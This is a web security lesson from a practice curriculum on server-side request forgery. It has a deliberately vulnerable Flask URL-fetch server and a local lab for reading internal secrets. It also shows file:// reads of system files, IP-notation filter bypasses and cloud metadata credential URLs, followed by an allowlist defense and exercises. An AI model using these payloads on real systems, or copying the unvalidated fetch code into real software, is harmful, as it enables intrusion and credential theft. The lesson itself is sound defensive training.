What would you like to learn?

Try PowerShell, networks, XSS, or Step 138

Browse the full curriculum →

Web security

Step 194. SSRF — Making the Server Your Proxy to Read the Internal Network

Step 194Estimated practice · 3 hours

Level 3 — Real-World CTF & Advanced Attack Skills | Difficulty ★★★★☆ | Estimated time: 3 hours

Prerequisites: you’ve finished Step 150 (JWT and business logic). You can run a small server with Flask and send requests with curl.

  • What you need: Python 3 + Flask (python -m pip install flask), two terminals.
  • ⚠️ All exercises in this chapter are for your own lab and legal platforms only. Applying them to unauthorized systems is a crime.
  • Legal practice grounds: the two Flask servers you’ll run today are local labs entirely inside your own computer (localhost). PortSwigger Web Security Academy’s SSRF labs are also a legal platform made to be solved. Do not use today’s techniques anywhere outside these two places.

Many web services have features where "the server fetches it for you." Paste an image URL and the server downloads and displays it; a stock-check API takes another server’s address and queries it. But what happens if the requester can choose that URL freely? An attacker can order the server to fetch "an internal server address behind the firewall." This is SSRF (Server-Side Request Forgery).

Today you’ll run two servers on your computer. One is an exposed, vulnerable "fetch it for me" server; the other is an "internal-only" server bound to 127.0.0.1, normally invisible from outside. Then you’ll connect them via SSRF and read the internal server’s secrets from outside. In the second half, you’ll work through the concept of the metadata endpoint (169.254.169.254) — the signature damage scenario in cloud environments.


1. Learning Objectives

By the end of this chapter, you will be able to:

  • Explain why SSRF arises from "features that send requests on your behalf"
  • Reproduce SSRF by running a vulnerable URL-fetch server and an internal-only server on localhost
  • Measure how various URL notations — localhost, 127.0.0.1, file:// — are handled by the server
  • Experiment with why sloppy string filters get bypassed, and build a correct defense (whitelist)
  • Explain the cloud metadata endpoint attack scenario and why IMDSv2 exists

2. Background Knowledge — Today’s Tools and Concepts

Today’s Tools at a Glance

Category Details
Language/environment Python 3 + Flask (local lab), PortSwigger Web Security Academy (wargame)
Today’s commands python step194_*.py, curl "http://127.0.0.1:5498/fetch?url=...", Burp Repeater
Concepts needed SSRF, internal network/loopback, URL notation variants, cloud metadata, Blind SSRF
Today’s deliverables 2 SSRF reproduction servers + a screen of stolen internal secrets + a defense checklist

2-1. SSRF — Requests the Server Sends for You

Say you use an "image URL preview" feature on example.com. The request goes to example.com‘s server, and the one actually going out to download the image is also that server. In other words, the request’s origin is not your browser but the server.

The problem is the server’s location. Servers often live inside the firewall — in the internal network. If that server fetches the attacker-supplied URL http://internal-server/admin as-is, an internal page that could never be reached from outside gets delivered into the attacker’s hands. Because the server sent the request, both the firewall and access controls let it through. That’s why it’s called "an attack that uses the server as a proxy."

2-2. Loopback and Internal Addresses

127.0.0.1 (loopback) means "this computer itself." When admins don’t want to expose an admin page externally, a common trick is "bind only to 127.0.0.1" — so it’s reachable only from inside the same machine. But if SSRF is possible, the attacker makes the server — that very "same computer" — do the connecting. Services open only on 127.0.0.1, internal devices at 192.168.x.x, and the cloud metadata address all come within range.

URL notation has more variants than you’d think. 127.0.0.1 can also be written as localhost, as 127.1, or as the decimal integer 2130706433. A sloppy filter that checks whether the string "127.0.0.1" appears is powerless before these variants — though which notations actually work depends on the HTTP client library and the operating system. You’ll measure this yourself today.

2-3. Cloud Metadata — 169.254.169.254

Inside a virtual machine on a cloud like AWS, a special address 169.254.169.254 is alive. Send it an HTTP request and it returns that machine’s metadata — name, network information, and fatally, temporary credentials (access keys for the IAM role). This address is unreachable from the outside internet; it responds only to requests made from "inside" that machine. This is why SSRF is especially terrifying in the cloud: one vulnerable web app leads straight to the keys of a cloud account.

After this damage repeated, AWS introduced IMDSv2. It requires you to first obtain a session token with a PUT request before reading metadata. With simple SSRF (re-sending a GET request), obtaining the token is difficult, so the attack’s difficulty rises sharply.

2-4. Blind SSRF — When You Can’t See the Response

Some services don’t display the fetched content. The attack is still possible. Response time and error type answer in its place. A nonexistent port immediately returns a connection-refused error, while an open port either responds or takes until timeout. This difference enables port scanning of the internal network. If the response is visible, it’s SSRF; if you can only judge from side information, it’s Blind SSRF.


3. Follow Along

3-1. Building the Internal-Only Server

First, build the internal server that "can’t be seen from outside." Write step194_internal.py.

from flask import Flask

app = Flask(__name__)

@app.route("/admin")
def admin():
    return "INTERNAL-ONLY: admin dashboard / db password = s3cr3t!n"

@app.route("/")
def index():
    return "internal server rootn"

if __name__ == "__main__":
    # Bound to 127.0.0.1 only — simulates an 'internal server' unreachable from outside networks
    app.run(host="127.0.0.1", port=5499)

host="127.0.0.1" is the key. This server is reachable only from inside the same computer. It mimics a real production "internal-network-only admin page."

3-2. The Vulnerable ‘Fetch It for Me’ Server

Now the exposed server. Write step194_fetcher.py. It’s a feature that takes a URL and has the server fetch and display it — with no URL validation.

import urllib.request
from flask import Flask, request

app = Flask(__name__)

@app.route("/fetch")
def fetch():
    url = request.args.get("url", "")
    # Vulnerable: the server fetches the URL without validating it
    try:
        with urllib.request.urlopen(url, timeout=3) as r:
            body = r.read().decode(errors="replace")
        return f"[Fetched by the server]n{body}"
    except Exception as e:
        return f"[Error] {type(e).__name__}: {e}n", 502

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=5498)

host="0.0.0.0" means accepting connections on every network card — it plays the role of the externally exposed server. Start the two servers in their own terminals.

python step194_internal.py   # terminal 1
python step194_fetcher.py    # terminal 2

3-3. Reading Internal Secrets via SSRF

Send the attack request from a third terminal.

curl "http://127.0.0.1:5498/fetch?url=http://127.0.0.1:5499/admin"

Output (measured 2026-09-09):

[Fetched by the server]
INTERNAL-ONLY: admin dashboard / db password = s3cr3t!

How to read it: the internal server’s (5499) /admin is normally visible only from inside the same computer. Yet ordering the public server (5498) to fetch it delivered the secret to the outside. This is the whole of SSRF — the attacker didn’t go there directly; the server went on their behalf.

The localhost notation works just the same.

curl "http://127.0.0.1:5498/fetch?url=http://localhost:5499/"

Output (measured 2026-09-09):

[Fetched by the server]
internal server root

3-4. The file:// Scheme — A URL Doesn’t Have to Be http

urllib handles not just http:// but also file://. That means reading the server’s local files.

curl "http://127.0.0.1:5498/fetch?url=file:///C:/Windows/win.ini"

Output (measured 2026-09-09):

[Fetched by the server]
; for 16-bit app support
[fonts]
[extensions]

How to read it: the web server returned the contents of a Windows settings file. On a Linux server, file:///etc/passwd would sit in the same spot. SSRF doesn’t stop at "internal network access" — it spreads into reading the server’s local files. This is why a defense must restrict the URL’s scheme (allow only http/https).

3-5. IP Notation Variants — Measuring the Limits of Bypass

Textbooks often say "rewrite 127.0.0.1 as the decimal 2130706433 to bypass filters." We compared whether this actually works using two tools.

curl "http://2130706433:5499/admin"   # directly with curl
curl "http://127.1:5499/admin"        # shorthand notation

Output (measured 2026-09-09, both succeeded):

INTERNAL-ONLY: admin dashboard / db password = s3cr3t!

Send the same notation through Python’s urllib and the result differs.

curl "http://127.0.0.1:5498/fetch?url=http://2130706433:5499/admin"

Output (measured 2026-09-09):

[Error] URLError: <urlopen error [Errno 11001] getaddrinfo failed>

How to read it: curl interprets decimal and shorthand notations as 127.0.0.1, but Python’s urllib on Windows cannot interpret them and fails name resolution. 0.0.0.0 also failed on Windows with WinError 10049 (on Linux it’s often treated as localhost). Lesson: which notation bypasses depends on the attacker’s tool and the server’s HTTP client. So attackers try the entire variant list, and defenders must block based on the "resolved final IP," not on "string checks."

3-6. A Sloppy Filter and a Correct Defense

Let’s attach a string filter to the fetcher (the /fetch_filtered endpoint in the practice file).

@app.route("/fetch_filtered")
def fetch_filtered():
    url = request.args.get("url", "")
    # Sloppy defense: block if the string shows '127.0.0.1' or 'localhost'
    if "127.0.0.1" in url or "localhost" in url:
        return "[Blocked] internal addresses cannot be fetchedn", 403
    ...

Output (measured 2026-09-09):

$ curl "http://127.0.0.1:5498/fetch_filtered?url=http://127.0.0.1:5499/admin"
[Blocked] internal addresses cannot be fetched        ← frontal attempt gets 403
$ curl "http://127.0.0.1:5498/fetch_filtered?url=file:///C:/Windows/win.ini"
[Fetched by the server]
; for 16-bit app support                     ← the filter never even checks file://

How to read it: even if a filter blocks one or two notations, other paths remain (schemes, variant notations, DNS names). The correct defense runs in the opposite direction — a whitelist that lists only what’s allowed:

  1. Allow only the https scheme (plus http if needed)
  2. Resolve the hostname, then reject if the final IP is in a private/loopback range (127.0.0.0/8, 10.0.0.0/8, 192.168.0.0/16, 169.254.0.0/16)
  3. Don’t follow redirects, or re-run check 2 at every redirect
  4. Verify the response content matches the expected format (an image, etc.)

3-7. The Cloud Metadata Scenario (Screen Example)

⚠️ This address exists only on real cloud machines and is not contacted in today’s environment. The following is a screen example based on AWS documentation.

The URL an attacker submits to a cloud web app vulnerable to SSRF:

http://169.254.169.254/latest/meta-data/iam/security-credentials/

Screen example (not measured — AWS documentation-based scenario):

my-ec2-role

Once the role name comes back, appending it and requesting again returns temporary credentials.

http://169.254.169.254/latest/meta-data/iam/security-credentials/my-ec2-role

Screen example (not measured):

{
  "AccessKeyId": "ASIA...(temporary key)",
  "SecretAccessKey": "(secret key)",
  "Token": "(session token)",
  "Expiration": "..."
}

With these keys, the attacker wields the entire IAM permissions granted to that EC2. Under IMDSv2, you must first obtain a token via PUT /latest/api/token, so simple GET-relay SSRF is stopped at this stage.

3-8. Connecting to the PortSwigger SSRF Labs

What you do in Web Security Academy’s SSRF labs is a transplant of today’s practice. The stock-check feature’s stockApi parameter takes a URL, so putting http://localhost/admin there is the first lab (what we did in 3-3). The second lab is internal IP scanning — sweep X in http://192.168.0.X:8080/admin from 1 to 254 with Burp Intruder and find the one whose response differs. For labs where the response isn’t visible, use the Blind judgment method from 2-4 (differences in time and errors).


4. Missions & Exercises

Mission — Reproduce the Full SSRF Process and Defense in Your Lab

  1. Start the two servers from 3-1–3-3 and capture the screen where the internal server’s /admin content comes out through the public server via SSRF
  2. As in 3-4, read a local file via the file:// scheme (a harmless file like /etc/hostname on a Linux lab)
  3. Fix the fetcher to implement a whitelist defense — allow only http/https schemes; reject resolved IPs in 127.0.0.0/8 and 169.254.0.0/16
  4. After the defense, confirm the same attacks are blocked with 403, and confirm a normal external URL (e.g., another public port on your computer) still works
  5. Solve one basic PortSwigger SSRF lab and write a write-up

Exercises

Exercise 1. In SSRF, explain why the attacker’s request passes through the firewall from the perspective of "the request’s origin."

Exercise 2. In the 3-5 measurements, decimal IP notation worked in curl but failed in Python’s urllib. What lesson does this result give defenders?

Exercise 3. Explain why the cloud metadata address 169.254.169.254 is dangerous, and the principle by which IMDSv2 mitigates it.

Exercise 4. In Blind SSRF, how do you tell whether an internal port is open? Name two kinds of side information.


Answers & completion criteria · expand/collapse

5. Model Answers & Completion Criteria

Mission Model Answer

Items 1–2 are exactly the Section 3 measurements. The skeleton of the item 3 whitelist defense:

import ipaddress
import socket
from urllib.parse import urlparse

BLOCKED = [ipaddress.ip_network("127.0.0.0/8"),
           ipaddress.ip_network("169.254.0.0/16"),
           ipaddress.ip_network("10.0.0.0/8"),
           ipaddress.ip_network("192.168.0.0/16")]

def is_safe(url):
    p = urlparse(url)
    if p.scheme not in ("http", "https"):
        return False
    ip = ipaddress.ip_address(socket.gethostbyname(p.hostname))
    return not any(ip in net for net in BLOCKED)

The key is checking the final IP resolved by gethostbyname, not the string. After the defense, both url=http://127.0.0.1:5499/admin and url=file:///... must return 403, and a URL pointing at a public port must return 200 (verify yourself in your local lab). In the item 5 write-up, record "original parameter / substituted URL / server response / the check the server missed."

Exercise Answers

Answer 1. In SSRF, the actual HTTP request’s origin is not the attacker but the vulnerable server itself. The firewall and internal access controls recognize it as a request from a "trusted internal server" and let it through. The core is that the attacker only manipulates the URL while the server does the sending.

Answer 2. Because the way a notation gets interpreted differs by tool, library, and OS — even for the same address — blacklist defenses that block based on "does the string contain a dangerous pattern" inevitably develop holes. Defenders must judge by the final IP after actually resolving the hostname, and design with an allowlist (whitelist) approach.

Answer 3. 169.254.169.254 responds only from inside a cloud machine and returns even IAM temporary credentials, so a single SSRF hit escalates into cloud account takeover. IMDSv2 forces a PUT request to issue a session token before metadata queries, making it hard for typical SSRF — which only re-sends GET requests — to obtain the token.

Answer 4. Response time and error type. A closed port fails fast with connection refused; an open port either responds or takes until timeout if the service isn’t HTTP. You distinguish open/closed by this time difference and the difference in error messages.

Completion Criteria Checklist

  • [ ] I can explain SSRF in one sentence as "a request the server sends on your behalf"
  • [ ] I read the internal-only server’s secret via the public server in a local lab
  • [ ] I confirmed that the file:// scheme reads the server’s local files
  • [ ] I measured that IP notation bypasses work differently depending on client and OS
  • [ ] I reproduced the limits of string filters and implemented a whitelist defense
  • [ ] I can explain the 169.254.169.254 scenario and the reason for IMDSv2
  • [ ] Mission: defense implementation + solved one PortSwigger SSRF lab

6. Common Pitfalls & Fixes

Wall 1. curl: (7) Failed to connect to 127.0.0.1 port 5498

Cause: the fetcher server isn’t running. A Flask server doesn’t spawn per request — it stays resident in a terminal.
Fix: open two terminals and keep python step194_internal.py and python step194_fetcher.py each running. If a port is already in use, change the port number and the curl address together.

Wall 2. The request gets cut off because of & in the URL parameter

Symptom: if the URL to fetch contains &, like ?url=http://a/b?x=1&y=2, the rest gets truncated.

Cause: & is a special character in both the shell and URLs.
Fix: wrap the whole thing in double quotes ("http://127.0.0.1:5498/fetch?url=..."), and encode & inside the fetched URL as %26.

Wall 3. Decimal IP "doesn’t work"

Symptom (measured 2026-09-09):

[Error] URLError: <urlopen error [Errno 11001] getaddrinfo failed>

Cause: an environment where failure is normal. Python’s urllib on Windows cannot interpret decimal notations like 2130706433 as IPs.
Fix: it’s not a malfunction — it’s a measured discovery. Record the per-tool differences as in 3-5. Also confirm that the same notation does work with curl.

Wall 4. I added the defense and now normal URLs get 403 too

Cause: the whitelist conditions are too broad, or gethostbyname blocked names that resolve to private IPs. In a local lab, even the public test server is 127.0.0.1, so it looks like everything is blocked.
Fix: temporarily specify allowed ports/hosts for local verification. Unit-testing the defense logic first (feeding URLs into is_safe() and checking True/False) is faster.

Wall 5. In the PortSwigger lab, changing the URL changes nothing

Cause: the stock-check request carries the stockApi parameter in the POST body, and a common mistake is editing only the address bar. Also, if URL encoding is off, the parameter itself breaks.
Fix: in Burp Repeater, replace the entire stockApi= value in the request body. A good order is to first Send the original request as-is and confirm a 200, then tamper.


7. Summary

Today’s Concepts

Concept One-line explanation
SSRF An attack that steers requests the server sends on your behalf to poke at the internal network
Loopback binding A configuration opening a service only on 127.0.0.1 to make it internal-only — powerless against SSRF
Notation variants Different faces of the same address: localhost, 127.1, 2130706433
file:// scheme A channel through which a URL-fetch feature spreads into reading the server’s local files
Metadata endpoint 169.254.169.254 — the temporary-credentials window of a cloud machine
IMDSv2 AWS’s improvement that forces token issuance (PUT) to block simple SSRF
Blind SSRF SSRF judged by differences in time and errors when the response isn’t visible
Whitelist defense Scheme restriction + resolved final-IP check + redirect re-checks

Today’s Commands & Code

Command/code What it does
app.run(host="127.0.0.1", port=5499) Internal-only server simulation
app.run(host="0.0.0.0", port=5498) Externally exposed server simulation
urllib.request.urlopen(url) The request the server sends on your behalf (the vulnerable point)
curl ".../fetch?url=http://127.0.0.1:5499/admin" SSRF attack request
socket.gethostbyname(host) Resolving a hostname to its final IP (the defense’s baseline)
ipaddress.ip_address(ip) in network Checking private/loopback ranges

The Instinct That Matters More Than Commands

When you see a feature that takes a URL and has the server go somewhere, ask first: "where can this server go that I can’t?" The answer is the attack target — internal admin pages, internal DB admin tools, cloud metadata. And one defender’s instinct: trust the resolved result, not the string. Whether it’s 127.1, 2130706433, or localhost, if the final IP is loopback, it’s the same threat. Writing a short allowlist always beats stacking a long blocklist.


Once every box is checked, Step 194 is complete.

ONE STEP FURTHER

Finished this lesson?

Check the completion criteria, then mark your progress.

Something wrong with this page or a link? Let us know.
Next